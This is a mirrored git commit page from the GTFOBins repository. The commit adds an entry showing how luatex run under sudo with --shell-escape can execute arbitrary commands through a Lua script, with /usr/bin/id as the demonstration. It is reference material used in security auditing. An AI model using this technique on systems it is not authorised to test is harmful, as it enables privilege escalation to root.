1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 15:59:17 +01:00

Create luatex.md

Add luatex.
This commit is contained in:
SynackCerv 2021-04-22 22:15:59 +02:00 committed by GitHub
parent ff22bbda93
commit fd30994f8a
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

7
_gtfobins/luatex.md Normal file

@ -0,0 +1,7 @@
description: `luatex` allows to call external [`lua`](/gtfobins/lua/) scripts.
functions:
sudo:
- code: |
echo '\documentclass{article} \usepackage{luacode} \begin{document} \def\foo{\directlua{dofile("runfunc.lua")}} \foo \end{document}' > file.tex
echo 'os.execute("/usr/bin/id")' > runfunc.lua
luatex --interaction=nonstopmode --shell-escape file.tex